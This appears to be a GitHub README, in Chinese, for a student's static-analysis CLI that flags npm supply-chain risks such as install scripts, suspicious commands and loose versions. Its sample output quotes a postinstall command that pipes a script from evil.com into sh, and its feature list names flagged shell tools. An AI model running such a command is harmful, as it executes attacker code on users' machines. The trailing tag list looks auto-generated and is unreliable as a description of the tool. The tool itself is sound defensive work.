doolamdattatreya2025/npm-supply-chain-guard
GitHub: doolamdattatreya2025/npm-supply-chain-guard
一款零依赖的 Node.js CLI 工具,通过静态分析检测 JavaScript 项目中的 npm 供应链安全风险,帮助开发者在恶意依赖引发安全事件之前识别危险模式。
Stars: 0 | Forks: 0
# npm-supply-chain-guard
快速开始
git clone https://github.com/doolamdattatreya2025/npm-supply-chain-guard.git
cd npm-supply-chain-guard
npm install
npm install -g .
## npm-supply-chain-guard .
为什么开发这个项目
现代应用程序严重依赖第三方包。
这带来了供应链风险,例如:
- 恶意安装脚本
- 被篡改的依赖项
- 嵌套包中隐藏的 payload
即使是受信任的库也可能遭到破坏。
该工具有助于尽早检测危险模式——在它们演变成真正的安全事件之前。
功能特性
- 检测危险的生命周期脚本:
preinstall, install, postinstall, preuninstall, postuninstall
- 标记可疑命令:
curl, wget, base64, chmod, eval, powershell, bash, sh
- 检测非 registry 源的依赖项:
git, http(s), file 源
- 对不安全的版本控制发出警告:
latest, *, ^, ~, >
- 分析 package-lock.json:
- 远程 resolved 的包
- 带有 install 脚本的依赖项
- 快速、无依赖的 CLI 工具
安全与隐私
✔ 完全在本地运行
✔ 不向外部发送任何数据
✔ 无外部依赖项
注意:
此工具执行静态分析,不能替代像 npm audit 这样完整的漏洞扫描器。
安装
git clone https://github.com/doolamdattatreya2025/npm-supply-chain-guard.git
cd npm-supply-chain-guard
npm install
(可选的全局安装)
npm install -g .
用法
扫描当前项目:
node src/index.js .
扫描其他项目:
node src/index.js /path/to/project
如果已全局安装:
npm-supply-chain-guard .
运行测试
npm test
演示

示例输出
🔍 正在扫描项目: /my-app
⚠ [1] 危险的生命周期脚本: postinstall -> curl http://evil.com/install.sh | sh
⚠ [2] 脚本 "postinstall" 中存在可疑命令: 使用 curl 下载外部内容
⚠ [3] 不安全的版本标签: lodash@latest
⚠ [4] 检测到宽泛的版本范围: express@^4.18.2
⚠ [5] 依赖项包含 install 脚本: node_modules/badpkg
⚠ 总警告数: 5
✅ 扫描完成
它能检测什么
- 供应链攻击指标
- 恶意的安装时执行行为
- 可疑的依赖项来源
- 不安全的版本约束
- 危险的嵌套依赖行为
路线图
- SARIF 报告导出 (CI/CD 集成)
- GitHub 安全集成
- 域名仿冒 (Typosquatting) 检测
- 深度依赖分析
- Web 控制台
贡献
欢迎贡献代码。
如果您发现 bug 或安全问题:
- 提交一个 issue
- 或者提交一个 pull request
许可证
MIT License
作者
DATTATREYA
网络安全学生
GitHub: https://github.com/doolamdattatreya2025
标签:DevOps安全, DevSecOps, GNU通用公共许可证, JavaScript安全, MITM代理, Node.js, npm, npm安全, OpenCanary, WebSocket, 上游代理, 云安全监控, 依赖分析, 依赖项检查, 包管理器, 后门检测, 安全审计工具, 恶意脚本检测, 数据可视化, 文档安全, 文档结构分析, 暗色界面, 统一API, 自定义脚本, 静态分析